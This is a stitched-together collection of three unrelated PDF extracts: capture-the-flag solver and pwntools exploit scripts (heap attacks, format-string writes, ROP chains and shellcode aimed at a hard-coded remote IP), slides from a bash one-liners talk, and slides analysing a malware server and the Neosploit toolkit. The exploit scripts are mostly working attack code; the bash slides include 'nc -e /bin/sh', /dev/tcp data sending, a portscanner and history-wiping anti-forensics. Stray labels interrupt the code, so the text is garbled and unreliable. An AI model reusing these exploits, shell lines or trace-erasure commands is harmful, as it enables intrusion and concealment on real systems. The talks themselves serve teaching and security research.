dst1, dst2 = dst[:16], dst[16:]
dst1 = [0]*32 + bytearray2intarray(dst1)[::-1]
for _r in range(32):
r = 31 - _r
# m0 = dst[r]
m1 = dst1[r+1]
m2 = dst1[r+2]
Androidcmd
m3 = dst1[r+3]
special_key = processed_key[r]
keyed_msg = m1 ^ m2 ^ special_key ^ m3
keyed_msg = int2bytearray(keyed_msg)
v13 = box1[keyed_msg[3]] ^ box2[keyed_msg[3]] \\
^ box3[keyed_msg[3]] ^ box4[keyed_msg[3]]
v14 = box1[keyed_msg[2]] ^ box2[keyed_msg[2]] \\
^ box3[keyed_msg[2]] ^ box4[keyed_msg[2]]
v14 <<= 16
v15 = box1[keyed_msg[1]] ^ box2[keyed_msg[1]] \\
^ box3[keyed_msg[1]] ^ box4[keyed_msg[1]]
v15 <<= 8
v16 = box1[keyed_msg[0]] ^ box2[keyed_msg[0]] \\
^ box3[keyed_msg[0]] ^ box4[keyed_msg[0]] | (v13 << 24)
m_new = dst1[r+4]
m0 = z3_solve(m_new, v16, v14, v15)
dst1[r] = m0
flag = []
for i in range(4):
flag += int2bytearray(dst1[i])
mangshengfaxianhuadian = [0x9eb5b821, 0x33b59204,
0x9eb5b821, 0xf3f66345,
0xe9b6e769, 0x65eb3ed7, 0x2b3bc746]
result = bytearray2intarray(dst2)
result[0] ^= mangshengfaxianhuadian[0]
result[0] ^= mangshengfaxianhuadian[1]
result[1] ^= mangshengfaxianhuadian[2]
result[1] ^= mangshengfaxianhuadian[3]
result[2] ^= mangshengfaxianhuadian[4]
result[3] ^= mangshengfaxianhuadian[5]
result[4] ^= mangshengfaxianhuadian[6]
for each in result:
flag += int2bytearray(each)
print('flag{' + bytearray(flag).decode() + '}')
if __name__ == '__main__':
main()
import hashlib
tbl = '0123456789abcdef'
def get_md5_value(s):
md5 = hashlib.md5()
md5.update(s.encode('ascii'))
md5_digest = md5.hexdigest()
return md5_digest
def brut():
a1 = ['_'] * 37
a1[22] = 'a'
a1[23] = '-'
a1[16] = '2'
a1[20] = 'e'
a1[13] = '-'
a1[14] = '4'
a1[18] = '-'
a1[17] = '4'
a1[19] = '9'
a1[15] = '5'
a1[21] = 'a'
a1[25] = '9'
a1[33] = 'f'
a1[34] = '6'
a1[28] = '6'
a1[32] = 'b'
a1[30] = '0'
a1[27] = '4'
a1[31] = '4'
a1[29] = 'e'
a1[26] = '6'
a1[35] = '8'
a1[24] = '6'
a1[2] = '6'
a1[6] = '8'
a1[1] = '2'
a1[7] = '7'
a1[5] = '0'
a1[4] = '0'
a1[8] = '-'
a1[0] = '8'
a1[3] = '0'
a1[36] = '\\n' # 'fuck'
md5sum_a2 = ['1'] * 11
md5sum_a2[4] = 'a'
md5sum_a2[6] = '4'
md5sum_a2[10] = 'd'
md5sum_a2[0] = '9'
md5sum_a2[3] = 'd'
md5sum_a2[1] = '4'
babyre
md5sum_a2[5] = '8'
md5sum_a2[2] = 'b'
md5sum_a2[8] = '9'
md5sum_a2[7] = '7'
md5sum_a2[9] = '9'
md5sum_a2 = ''.join(md5sum_a2)
for a in tbl:
for b in tbl:
for c in tbl:
for d in tbl:
a1[9], a1[10], a1[11], a1[12] = a, b, c, d
flag = ''.join(a1)
md5 = get_md5_value(flag)
if md5.startswith(md5sum_a2):
print('flag{' + flag[:-1] + '}')
exit()
if __name__ == '__main__':
brut()
def enc(flag):
xor_tbl = [0x1bc3, 0xa74, 0xce4f, 0xe52, 0xd34b, 0x7069, 0x8a27, 0x295a,
0x630e, 0xfe27, 0x18a7, 0x5f86, 0xa747, 0x839f, 0x41ff, 0x1bc3]
result = [0] * 16
__hash = 0x0000000064E2FBE3 & 0xffff
v9 = 0
while v9 < 32:
v_0, v_1, v_2, v_3, v_4, v_5, v_6, v_7 = \\
flag[v9], flag[v9+1], flag[v9 + 2], flag[v9 + 3], \\
flag[v9+4], flag[v9+5], flag[v9+6], flag[v9+7]
back_1 = (v_0 + (v_2 << 8)) ^ xor_tbl[v9 // 2 + 0]
result[v9//2+0] = __hash ^ back_1
result[v9//2+1] = __hash ^ (v_1 + (v_3 << 8)) ^ xor_tbl[v9//2 + 1]
result[v9//2+2] = __hash ^ (v_7 + (v_4 << 8)) ^ xor_tbl[v9//2 + 2]
result[v9//2+3] = __hash ^ (v_6 + (v_5 << 8)) ^ xor_tbl[v9//2 + 3]
__hash = back_1 ^ result[v9//2+1] ^ result[v9//2+2] ^ result[v9//2+3]
v9 += 8
v30 = flag[32]
v31 = flag[35]
v33 = __hash ^ (v30 | (v31 << 8)) ^ 0xBF9E
result.append(v33)
v30 = flag[33]
v31 = flag[34]
Pwn
BabyPwn
v33 = __hash ^ (v31 | (v30 << 8)) ^ 0xFA2C
result.append(v33)
return result
def solve():
from Crypto.Util.number import long_to_bytes
xor_tbl = [0x1bc3, 0xa74, 0xce4f, 0xe52, 0xd34b, 0x7069, 0x8a27, 0x295a,
0x630e, 0xfe27, 0x18a7, 0x5f86, 0xa747, 0x839f, 0x41ff, 0x1bc3]
dst = [0xd910, 0xc2f2, 0x6c9, 0x97d7, 0xc379, 0x3747, 0x9d5b, 0x7571,
0x2363,
0xf21c, 0x4d81, 0xbee, 0x686a, 0x18b5, 0xde81, 0x87e1, 0x5c09,
0x1fba]
__hash = 0x0000000064E2FBE3 & 0xffff
flag = []
for i in range(0, 16, 4):
v2, v0 = list(long_to_bytes(__hash ^ dst[i+0] ^ xor_tbl[i+0]))
v3, v1 = list(long_to_bytes(__hash ^ dst[i+1] ^ xor_tbl[i+1]))
v4, v7 = list(long_to_bytes(__hash ^ dst[i+2] ^ xor_tbl[i+2]))
v5, v6 = list(long_to_bytes(__hash ^ dst[i+3] ^ xor_tbl[i+3]))
__hash ^= (dst[i+0] ^ dst[i+1] ^ dst[i+2] ^ dst[i+3])
flag += [v0, v1, v2, v3, v4, v5, v6, v7]
v35, v32 = list(long_to_bytes(__hash ^ dst[-2] ^ 0xBF9E))
v33, v34 = list(long_to_bytes(__hash ^ dst[-1] ^ 0xFA2C))
flag += [v32, v33, v34, v35]
print('flag{' + ''.join([chr(i) for i in flag]) + '}')
if __name__ == '__main__':
solve()
from pwn import *
#p = process('./pwn',env={'LD_PRELOAD':'./libc.so'})
p = remote('183.60.136.226', 14943)
def add(name,size,desc):
p.recvuntil('choice')
p.sendline('1')
p.recvuntil('name:')
p.send(name)
p.recvuntil('size')
p.sendline(str(size))
p.recvuntil('Description:')
p.send(desc)
def dele(idx):
p.recvuntil('choice')
p.sendline('2')
p.recvuntil('index')
p.sendline(str(idx))
add('0\\n',1,'\\n')
add('1\\n',0x40,'\\n')
add('2\\n',0x40,'\\n')
add('3\\n',0x40,'\\n')
dele(0)
add('0\\n',0,p64(0)*3+p64(0xa1)+'\\n')
dele(1)
add('1\\n',0x40,'\\n')
p.recvuntil('choice')
p.sendline('3')
p.recvuntil('index')
p.sendline('1')
p.recvuntil('Description:')
addr = u64(p.recv(6).ljust(8,'\\x00'))
print hex(addr)
libc_base = addr - (0x7f82c6dbcc08-0x7f82c69f8000)
print hex(libc_base)
add('4\\n',0x40,'\\n')
dele(2)
dele(3)
dele(4)
add('2\\n',0x40,p64(0x21)+'\\n')
add('3\\n',0x40,p64(0x21)+'\\n')
add('4\\n',0x40,p64(0x21)+'\\n')
add('5\\n',0x1,'\\n')
dele(5)
dele(0)
add('0\\n',0,'/bin/sh\\x00'+p64(0)*2+p64(0x51)+p64(0)*9+p64(0x51)+p64(0)*9+p64
(0x51)+p64(0)*9+p64(0x21)+p64(addr-0xd0)+'\\n')
#add('5\\n',0x1,'\\n')
add('5\\n',8,'/bin/sh')
l = ELF('./libc.so')
hook = libc_base+l.symbols['__free_hook']
one = libc_base+0xf02a4
sys = libc_base+l.symbols['system']
buf_base = libc_base +(0x7f3243f3c918-0x7f3243b78000)
add('6\\n',0,p64(0)*6+p64(buf_base-0x10)+'\\n')
PlayTheNew
add('7\\n',0x20,p64(hook)+p64(hook+0x100)[:-1]+'\\n')
print hex(hook)
p.recvuntil('choice')
p.sendline('2')
p.recvuntil('index')
raw_input()
p.sendline(p64(sys))
#add('0\\n',0,p64(0)*45+'\\n')
p.interactive()
#/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context.arch = "amd64"
r = lambda x: p.recvuntil(x,drop=True)
s = lambda x,y: p.sendafter(x,y)
sl = lambda x,y : p.sendlineafter(x,y)
# p = process('./pwn', env={'LD_PRELOAD':'./libc.so'})
p = remote("183.60.136.226", 13253)
e = ELF('./pwn')
# l = ELF('/lib/x86_64-linux-gnu/libc.so.6')
l = ELF('./libc.so')
def buy(idx, size, name):
sl('> ',str(1))
sl('index:',str(idx))
sl('ball:',str(size))
s('name:',name)
def throw(idx):
sl('> ',str(2))
sl('ball:',str(idx))
def show(idx):
sl('> ',str(3))
sl('ball:',str(idx))
r('dance:')
def change(idx, name):
sl('> ',str(4))
sl('ball:', str(idx))
s('ball:', name)
def secret(cnt):
sl('> ',str(5))
s('place:', cnt)
def backdoor():
sl('> ',str(0x666))
# leaking heap
buy(0,0x88,'0'*0x88)
throw(0)
buy(0,0x88,'0'*0x88)
throw(0)
show(0)
heap = u64(r('\n').ljust(0x8,'\x00'))-0x2a0
log.info('h.address:'+hex(heap))
# leaking libc
for i in range(5):
buy(0,0x88,'0'*0x88)
throw(0)
buy(0,0x88,'0'*0x88)
buy(1,0x1f8,'1'*0xf8)
throw(0)
show(0)
l.address = u64(r('\n').ljust(0x8,'\x00'))-0x1eabe0
log.info('l.address:'+hex(l.address))
setcontext = l.address+0x58000
log.info('setcontext:'+hex(setcontext))
# smabll bin tcache attack
buy(0, 0x88, '0'*0x88)
for i in range(0x7):
throw(1)
buy(1,0x1f8,'1'*0x1f8)
for i in range(0x7):
buy(1, 0x108, '1'*0x108)
throw(1)
for i in range(0x5):
buy(0, 0x118, '0'*0x118)
throw(0)
buy(1, 0x1f8, '4'*0x1f8)
buy(2, 0x1f8, '1'*0x1f8)
buy(4, 0x1f8, '2'*0x1f8)
throw(1)
throw(2)
buy(3, 0x188, '3'*0x188)
buy(3, 0x148, '3'*0x148)
buy(1, 0x1f8, '4'*0x1f8)
buy(1, 0x1f8, '4'*0x1f8)
buy(2, 0x1f8, '1'*0x1f8)
buy(4, 0x1f8, '2'*0x1f8)
throw(1)
throw(2)
buy(3, 0x188, '3'*0x188)
buy(3, 0x148, '3'*0x148)
buy(1, 0x1f8, '4'*0x1f8)
buy(1, 0x1f8, '4'*0x1f8)
buy(2, 0x1f8, '1'*0x1f8)
buy(4, 0x1f8, '2'*0x1f8)
throw(1)
throw(2)
buy(3, 0x188, '3'*0x188)
buy(3, 0x148, '3'*0x148)
buy(1, 0x1f8, '4'*0x1f8)
buy(0, 0x88, '0'*0x88)
buy(1, 0x88, '1'*0x88)
buy(4, 0x200, '4'*0x200)
throw(0)
throw(1)
buy(4, 0x200, '4'*0x200)
change(0, p64(heap+0x3700)+p64(0x100000-0x10))
buy(0,0x118,'0'*0x118)
shellcode = '''
mov rdi, 1
mov rsi, {0}
mov rdx, 0x30
mov rax, 1
syscall
xor rsi, rsi
mov rdi ,{1}
mov rax, 2
syscall
mov rdi, 5
mov rsi, {2}
mov rdx, 0x30
mov rax, 0
syscall
mov rdi, 1
mov rsi, {3}
mov rdx, 0x30
EasyShell
mov rax, 1
syscall
mov rdi, 0
mov rax, 60
syscall
'''.format(hex(heap+0x1000),
hex(heap+0x4200),
hex(heap+0x200),
hex(heap+0x200),
hex(heap+0x4200))
rop = p64(heap+0x4050)
rop += p64(heap+0x4050)
rop += p64(0)
rop += p64(0)
rop += p64(setcontext+0x3d)
rop += p64(heap)
rop += p64(l.address+0x0002709c) # pop rsi;ret
rop += p64(0x21000)
rop += p64(l.address+0x0011c421) # pop rdx; pop r12; ret
rop += p64(0x7)
rop += p64(0)
rop += p64(l.sym['mprotect'])
rop += p64(heap+0x4100)
rop = rop.ljust(0xa0, '\x90')
rop += p64(heap+0x4078)
rop += p64(l.address+0x00026bb2) # pop rdi;ret
rop += asm(shellcode)
rop = rop.ljust(0x1b0,'\x90')
rop += 'flag'
buy(0, 0x200, rop)
# magic 0x00154b90 : mov rdx, [rdi + 8]; mov [rsp], rax; call [rdx + 0x20]
secret(p64(1)+p64(l.address+0x154b90)+p64(heap+0x4050)+p64(4)+p64(5)+p64(6))
backdoor()
p.interactive()
from pwn import *
from fmt_attack import Payload
#
<https://github.com/pzhxbz/my_ctf_tools/blob/master/fmt_attack/fmt_attack.py>
# p = process('./pwn')
p = remote('183.60.136.226', 11623)
context.log_level = 'debug'
def launch_gdb():
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0])
# launch_gdb()
'''
0x0000000000422924 : xchg edi, esp ; add al, 0 ; add dh, dh ; ret
0x0000000000401f0a : pop rdi ; ret
0x0000000000471115 : syscall ; return
0x0000000000482286 : pop rax ; pop rdx ; pop rbx ; ret
0x000000000044b3a2 : pop rdi ; jmp rax
0x00000000004014a4 : pop rsi ; ret
0x00000000004203b0 : mov rax, rdi ; ret
0x000000000042ad19 : mov rdi, rax ; call rcx
0x000000000042142b : pop rcx ; ret
'''
a = Payload(10,addon=('%' + str(0x6ED798) + 'x').ljust(0x10,'a'))
a.add_write_chunk(0x0000000000422924,0x6ED7A8,write_len=4)
a.add_write_chunk(0x0000000000401f0a,0x6ED7b8,write_len=4)
a.add_write_chunk(0x6E,0x6ED7b8 + 8 + 2,write_len=1)
a.add_write_chunk(0xb8 + 0x10,0x6ED7b8 + 8,write_len=1)
a.add_write_chunk(0xd7,0x6ED7b8 + 9,write_len=1)
a.add_write_chunk(0x0000000000400BCE,0x6ED7b8 + 0x10,write_len=4)
payload = a.get_payload()
# print(payload.encode('hex'))
p.recvuntil('Input your message')
p.sendline(payload.ljust(0xc0))
p.recvuntil('Take your message:')
# p.recvuntil('aaa')
rop2 = 'flag'.ljust(8,'\\x00')
rop2 += p64(0x0000000000482286) + p64(0x0000000000482286) + p64(0) * 2
rop2 += p64(0x000000000044b3a2) + p64(0)
rop2 += p64(0) + p64(0x200) + p64(0)
rop2 += p64(0x00000000004014a4) + p64(0x6ED7b8 + 0x18)
rop2 += p64(0x0000000000471115)
p.clean()
p.sendline(rop2.ljust(0xc0))
rop3 = p64(0x00000000004014a5) * 20
rop3 += p64(0x0000000000482286) + p64(0x0000000000482286) + p64(0) * 2
rop3 += p64(0x000000000044b3a2) + p64(0x6ED7b8 + 0x10)
rop3 += p64(2) + p64(0) * 2
rop3 += p64(0x00000000004014a4) + p64(0)
rop3 += p64(0x0000000000471115)
ChildShell
rop3 += p64(0x000000000042142b) + p64(0x00000000004014a4)
rop3 += p64(0x000000000042ad19)
rop3 += p64(0x0000000000482286) + p64(0) + p64(0x100) + p64(0)
rop3 += p64(0x00000000004014a4) + p64(0x6ED7b8 + 0x18)
rop3 += p64(0x0000000000471115)
# rop3 += p64(0x0000000000482286) + p64(0x0000000000482286) + p64(0) * 2
# rop3 += p64(0x000000000044b3a2) + p64(3)
# rop3 += p64(0) + p64(0x20) + p64(0)
# rop3 += p64(0x00000000004014a4) + p64(0x6ED7b8 + 0x18)
# rop3 += p64(0x0000000000471115)
rop3 += p64(0x0000000000482286) + p64(0x0000000000482286) + p64(0) * 2
rop3 += p64(0x000000000044b3a2) + p64(1)
rop3 += p64(1) + p64(0x40) + p64(0)
rop3 += p64(0x00000000004014a4) + p64(0x6ED7b8 + 0x18)
rop3 += p64(0x0000000000471115)
rop3 += p64(0x0000000000482286) + p64(0x0000000000482286) + p64(0) * 2
rop3 += p64(0x000000000044b3a2) + p64(1)
rop3 += p64(1) + p64(0x20) + p64(0)
rop3 += p64(0x00000000004014a4) + p64(0x6ED7b8 + 0x18)
rop3 += p64(0x0000000000471115)
sleep(1)
p.send(rop3.ljust(0x3000))
p.interactive()
from pwn import *
from fmt_attack import Payload
# https://github.com/pzhxbz/my_ctf_tools/blob/master/fmt_attack/fmt_attack.py
# p = process('./pwn')
p = remote('183.60.136.226', 17564)
context.log_level = 'debug'
context.arch = 'amd64'
def launch_gdb():
context.terminal = ['xfce4-terminal', '-x', 'sh', '-c']
gdb.attach(proc.pidof(p)[0])
'''
0x00000000004199a4 : xchg edi, esp ; add al, 0 ; add dh, dh ; ret
0x0000000000401a36 : pop rdi ; ret
0x0000000000468bf5 : syscall ; ret
0x0000000000479976 : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000401b57 : pop rsi ; ret
'''
a = Payload(10,addon=('%' + str(0x6CB778) + 'x').ljust(0x10,'a'))
a.add_write_chunk(0x00000000004199a4,0x6CB788,write_len=4)
a.add_write_chunk(0x0000000000401a36,0x6CB798,write_len=4)
a.add_write_chunk(0x6CB798 + 0x10,0x6CB798 + 8,write_len=4)
a.add_write_chunk(0x00000000004009AE,0x6CB798 + 0x10,write_len=4)
payload = a.get_payload()
p.recvuntil('Input your message')
p.sendline(payload.ljust(0xc0))
p.recvuntil('Take your message:')
rop2 = 'flag'.ljust(8,'\x00')
rop2 += p64(0x0000000000401a36) + p64(0)
rop2 += p64(0x0000000000479976) + p64(0) + p64(0x1000) + p64(0)
rop2 += p64(0x0000000000401b57) + p64(0x6CB798 + 0x18)
rop2 += p64(0x0000000000468bf5)
p.clean()
p.sendline(rop2.ljust(0xc0))
'''
0x00000000004a4deb : jmp rsp
'''
rop3 = p64(0x0000000000401b58) * 20
rop3 += p64(0x0000000000401a36) + p64(0x6ca000)
rop3 += p64(0x0000000000479976) + p64(10) + p64(7) + p64(0)
rop3 += p64(0x0000000000401b57) + p64(0x3000)
rop3 += p64(0x0000000000468bf5)
rop3 += p64(0x00000000004a4deb)
shellcode = '''
push 3290158;
mov rdi,rsp;
mov rsi,493;
mov rax,83;
syscall;
mov rdi,rsp;
mov rax,161;
syscall;
mov r15,13280099800329775;
push r15;
mov r15,3327649050063220270;
push r15;
mov rdi,rsp;
mov rax,161;
syscall;
''' + shellcraft.cat('/home/pwn/flag')
rop3 += asm(shellcode)
p.send(rop3)
p.interactive() | pdf |
One-Liners to Rule
Them All
egypt
wvu
What this is
Bash basics
●
Minor portability considerations
One-liners and demos of stuff we find to be useful
@egyp7
@wvuuuuuuuuuuuuu
What this isn’t
Linux system administration
●
Although there is some amount of overlap
Reading the man page to you
@egyp7
@wvuuuuuuuuuuuuu
`man bash` is
cavernous
There are resources to help
From the abstract
Sometimes you just need to pull out the third column of a CSV
file. Sometimes you just need to sort IP addresses. Sometimes you
have to pull out IP addresses from the third column and sort them,
but only if the first column is a particular string and for some
reason the case is random.
Up, edit, enter, repeat
cat file
cat file | grep open
cat file | grep -i open
cat file | grep -i open | cut -d, -f3
grep -i open | cut -d, -f3
awk -F, 'tolower($1) ~ /open/ { print $3 }' file | sort -V
Conventions
Commands are usually suffixed with a man(1) section
Almost all of what we’re talking about here is man section 1
But there’s naming overlaps with syscalls (man section 2), C
functions (man section 3), and occasionally config files (man
section 5)
Core Concepts
●
Pipes and redirection
●
Variables and substitution
●
Standard tools
●
History expansion
●
Brace expansion
●
Tilde expansion
Pipes and Redirection
The following slides are for
the folks playing at home. All
of this is happening in a
shell. Pay no attention to the
man behind the curtain.
Pipes and Redirection
●
echo wut | cat
●
echo wut > /tmp/wut
○
cat /tmp/wut
○
cat < /tmp/wut
File descriptors: &0 &1 &2 &n
nc -e /bin/sh [...] exec 2>&1
exec 3<>/dev/tcp/10.1.1.1/80;echo $'GET / HTTP/1.0\n' >&3;cat <&3
Standards
grep(1), sed(1), cut(1), sort(1), awk(1)
Builtins -- echo, test, read, while, for
grep Searches in Text
Regular expressions are tricky, but you can learn the basics
quickly. A large portion of regexes involve these three things:
●
.* any number of characters
●
^ anchor at beginning
●
$ anchor at end
grep '500.*Chrome' /var/log/apache2/error.log
sed is an Editor
sed -e 1d -e s/foo/bar/g /tmp/foo
sed '1d; s/foo/bar/g' /tmp/foo
sed -i '/192\.168\.0\.1/d' /var/log/apache2/access.log
ed is the Standard Editor
cut is a babby awk
echo a,b,c,d,e | cut -d, -f 1-3,5
Roughly equivalent to awk -F, ‘{ print $1 $2 $3 $5 }’
sort … sorts stuff
sort file
cat file1 file2 file3 | sort
sort -u
cat … Concatenates stuff
Lots of folks will tell you not to use cat.
There exists a Useless Use of Cat Award to tell you not to use cat
Don’t listen to those people. Hack the way you wanna hack.
But there’s really no reason to use cat.
uniq is … Unique
Input must be sorted so… “sort -u” covers a lot of it
Except for: uniq -c
●
Print each unique line along with the number of times it
occurred
sort | uniq -c
awk is a Language
This is grep: awk ‘/regex/ { print }’
This is cut: awk -F, ‘{ print $2 }’
But wait! There’s more!
Variables and Substitution
foo=$(echo wut); echo $foo
foo=${PATH//:/ } # PATH with spaces instead of :
echo${IFS}wut
echo ${file%.txt} # Strip extension
History Expansion
Handled by Readline
●
Controlled with ~/.inputrc
!$ !! !* !^ !:2 !:2-6 !-2
~/.inputrc
$if Bash
Space: magic-space
$endif
set completion-ignore-case on
# Use <up> and <down> to search based on what we've already typed
"\e[A": history-search-backward
"\e[B": history-search-forward
Brace expansion
Everything inside braces, separated by commas
●
echo {a,b,c}
●
cp file.{csv,txt}
As a replacement for seq(1)
●
{1..99} # same as `seq 1 99`
●
{01..99} # Zero-pad
●
{01..99..2} # Zero-pad, with a step of 2
Tilde expansion
~user is user’s home dir
●
E.g. ~egypt is /home/egypt
~ is the current user’s home directory
●
$HOME
~+ is $PWD # Not the same as .
~- is $OLDPWD
Loops
for var in expression; do command; command; done
●
for f in *; do mv “$f” “${f/.csv/.txt}”; done
while expression; do command; command; done
●
<file while read; do echo “$REPLY”; done
●
<file while read line; do echo “$line”; done
until expression; do command; command; done
●
Inverse of while loop
Process and Command Substitution
$(), ``
echo $(echo wut)
●
Substitutes a command for text
<(), >()
cat <(echo wut)
●
Substitutes a command for a file
And we’re back! Those demos
went great!
Aliases
Great for things you find yourself typing all the time
Like macro in C, just direct replacement
E.g.:
●
alias ll="ls -aLF"
●
alias l.="ls -d .[^.]*"
Examples
Stuff that isn’t super easy to demo
Sort IP Addresses
With GNU sort(1) and modern BSD, OSX:
●
sort -V
With POSIX sort(1)
●
sort -t . -nk 1,1 -k 2,2 -k 3,3 -k 4,4
sort -u …
sort --debug
Print unique lines without sorting
awk '{ if (!seen[$0]++) print }' /tmp/foo
# array named “seen”, with index of current line
seen[$0]
# will be 0 if we haven’t seen it yet, non-zero after
increment
!seen[$0]++
# “print” by itself prints $0, the whole line
Remote stuff with SSH
ssh -J user1@host1 user2@host2
ssh -ND 1080 user1@host1
ssh -NL 3389:desktop-1:3389 user1@host1
ssh -NR 4444:localhost:4444 user1@host1
ssh user1@host1 tee rfile < lfile # Like scp(1) upload
ssh user1@host1 cat rfile > lfile # Like scp(1) download
Remote stuff with bash
gzip -c file > /dev/tcp/192.168.0.1/80
●
/dev/tcp is a special magical “file” in bash
●
Compile-time option, default now in Debian derivatives
# Shitty portscanner
for port in {1..1023}; do
: 2> /dev/null > "/dev/tcp/192.168.0.1/$port" && echo "$port"
done
Random stuff
xsel -b < file.txt
nc -znv 192.168.0.1 1-1023 |& grep -v refused
Leave No Trace
Files that snitch on you
~/.bash_history
●
And ~/.*_history
~/.wget-hsts
~/.lesshst
Editors
●
Vim: *.swp files, .viminfo
●
Emacs: ~ suffixed files
STFU, /bin/bash
unset HISTFILE
export HISTFILE=/dev/null
ln -sf /dev/null ~/.bash_history
history -c; kill -9 $$
STFU, other stuff
wget --no-hsts
export MYSQL_HISTFILE=/dev/null; mysql
ln -sf /dev/null ~/.psql_history; psql
vim -ni NONE file
ssh -o UserKnownHostsFile=/dev/null
Commands that snitch
ssh(1) uses your current username if you don’t specify one
rdesktop(1) and xfreerdp(1) do the same
ftp(1) does, but doesn’t actually send it until you log in
Local Opsec
~/.ssh/config
User root
~/.netrc
default login anonymous password [email protected]
~/.bashrc
alias rdesktop=”rdesktop -U Administrator”
Commands in Exploitation
Can’t use spaces
echo${IFS}this${IFS}has${IFS}no${IFS}spaces
{echo,this,has,no,spaces}
ls(1), cat(1) aren’t available
echo *
find . -maxdepth 1
while read line; do echo “$line”; done < file
head -n 99999
Read binary over text-only link
Bajillion ways to do this
●
base64, xxd, hexdump, hd, od, openssl base64, perl, python
How you parse it on the other side depends on what worked on
target
Write binary over text-only link
printf %b "\105\114\106\177" > file.bin
xxd -r -p <<<454c467f > file.bin
perl -e 'print "\105\114\106\177"' > file.bin
Bonus!
Everything on the previous two slides is automatic on shell
sessions in Metasploit. Upload and download just work (tm).
Host some stuff
python -m SimpleHTTPServer 8080
python -m http.server 8080
ruby -run -e httpd
php -S 0:8080 # Interprets PHP, too
busybox httpd -p 8080
Resources
http://explainshell.com # Break it down
http://www.tldp.org/LDP/abs/html/ # Classic
http://wiki.bash-hackers.org/ # Awesome
https://mywiki.wooledge.org/BashPitfalls # Good to know
Google site:stackoverflow.com
@egyp7
@wvuuuuuuuuuuuuu | pdf |
Iftach Ian Amit
Managing Partner
Security Art
Down the rabbit Hole
Agenda
• Background on research
• The server – first impressions
• Doors, windows, whatever you want to call these…
• Dances with lawyers
• Slip sliding down the hole
– Tools
– Scripts
– Logs, logins, and other “soft” data
• Meanwhile – CERT‐CC and other gentleman
• Closure?
• The McColo connection(s)
• Final words, predictions
Who Am I ? (iamit)
•
Iftach Ian Amit
– In Hebrew it makes more sense…
•
Managing Partner at Security Art
•
Past:
– Director Security Research @ Aladdin
– Director Security Research @ Finjan
– Various security consulting/integration
gigs in the past
• R&D
• IT
•
A helping hand when needed… (IAF)
Background – how do you start
anyway?
• Uberskillz
• And sheer luck…
• Anyone familiar with triquitips.com?
– Come on – it’s a “tips for better programming site”
– Neither was I.
– How about federconsumatori.it (consumer reports for
Italy)
– A lot of these started looking awfully alike… and
pointing to the same place…
First encounters
• gwtsdjeni.com
• Really meaningful – and somewhat different
than the usual Torpig naming convention… an
extra letter gives it up!
– (should be xxxxjeni.com and we got
xxxxdjeni.com)
• So we take a closer look: you speak english?
– en.php
Doors, windows, whatever you want to call
these…
• Aha! Sherlock, I think we are on to something…
• If there’s a shell, there are at least 57 of them…
Dances with lawyers
• 1st dilemma – have we gotten too far?
– We followed an injected script on a
legitimate site (i.e. – deobfuscate, view‐
source of result, figure out the server general
identity, enumerate).
– We ran across a service offered by the server,
which was not protected by any means of
user/password, nor had it any disclaimers
(en.php r57new.php).
• 2nd dilemma – are we going to go any
further?
– We can already “see” (i.e. ‘ls’) most of the
server – by the means granted to us so far
– We are not going to brute‐force ourselves
into anything, or guess any credentials?
Slip sliding down the hole
• Guess what was the decision… (thank you legal
department!)
• Skimming the content structure shows:
– Neosploit (in cgi‐bin)
– Automated FTP Iframe injection tool
– PHPMyAdmin
– Truck full ‘o Trojans
– AWStats logs
– Setup instructions (I kid you not!)
– “mail” backend for tracking infections
– /mc366 – filled with OpenVPN certificates
– Huge list of CPanel credentials
– Some more utilities and exploits
– 15 most wanted???
Tools – FTP IFramer
• FTP IFrame auto‐attacker whizbang thingy
– Was managed separately for each “user” of the
system.
– Each user had run several “campaigns”
– The logs were a treasure trove… more than 200k
credentials used (i.e. ran through the application)
Tools ‐ Neosploit
•
So you wanted to hear a bit on Neosploit…
•
THE “Rock Star” of crimeware toolkits.
– It even pulled an Elvis on everyone, and claimed to have disappeared…
•
V.1. – solid exploit and simple management, single user system. No
licensing.
•
V.2. – multiple user support (SaaS), enhanced reporting (country,
referrer, Browser/OS), multiple loader configurations. License
locked to IP, server validated. Database moved to flat files.
•
V.3. – Enhanced licensing (locked to IP+user/pass), installation only
though a SOCKS proxy, Enhanced reporting on exploit ROI,
Enhanced database management.
Neosploit – digging deeper
• Installation – fully automated using a cgi
script:
– User & password for licensing (checked when
connecting to the server to fetch the build).
– Downloads the build from 0x0c0c0c0c.com
– Goes through a SOCKS proxy at
12.219.55.171:7062 (control freaks!)
– Takes care of version checking, unpacking, system
(permissions, init scripts, etc…)
– Bonus – logging…
Neosploit update statistics (based on
logs…)
0
2
4
6
8
10
12
15 16 17 18 22 24 25 26 28 29 30
2
3
4
7
10 12 13 18 19 20 21 22 23 25 26 27
6
7
8
16 17 25 28
4
6
7
14 15
9
Apr
May
Jun
Jul
Aug
3.0.0
3.0.1
3.0.2
3.0.3
3.0.4
3.0.5
3.0.6
3.0.7
3.1.0
The rest ain’t that fun
• ndaemon – the backend daemon
– Implements the DB interface
• index.cgi – exploitation frontend
– Mostly basic decision making based on data from
the backend, data from the prospective victim
(geoIP, browser string, cookies, referrer, etc…)
• admin.cgi – admin interface
– Basically a frontend for querying the backend for
statistical data, and basic configuration
Told you so
License_Verification:
push edi
push offset aNeosploit_key
lea eax, [ebp+string]
push eax
lea eax, [ebp+var_188]
push eax
call license_load
add esp, 10h
test eax, eax
jz loc_8049918
License_load:
...
push ebp
mov ebp, esp
push edi
push esi
push ebx
sub esp, 38h
mov ebx, [ebp+arg_0]
mov edi, [ebp+arg_8]
push offset aServer_addr
call _getenv
add esp, 0Ch
mov [ebp+var_1C], eax
push 100h ; size_t
push 0 ; int
push ebx ; void *
call _memset
mov ecx, [ebp+var_1C]
add esp, 10h
xor edx, edx
test ecx, ecx
jz short loc_804CC25
online_test:
mov [ebp+var_20], 1
push edx
push 0 ; int
push ebx ; void *
push [ebp+arg_4] ; int
call connect_to_homeserver
add esp, 10h
test eax, eax
jz short loc_804CDDE
...
call form_parse
lea edi, [ebp+var_38]
xor eax, eax
cld
mov ecx, 7
rep stosd
mov [esp+4E8h+var_4E8], 0
call _GeoIP_new
add esp, 10h
test eax, eax
mov ebx, eax
...
sub esp, 8
push [ebp+timer]
push eax
call _GeoIP_country_id_by_addr
add esp, 10h
cmp eax, 0FFh
jle loc_8049933
sub esp, 0Ch
push [ebp+timer]
call get_ip_hash
add esp, 10h
cmp eax, [ebp+var_468]
jnz loc_8049ABE
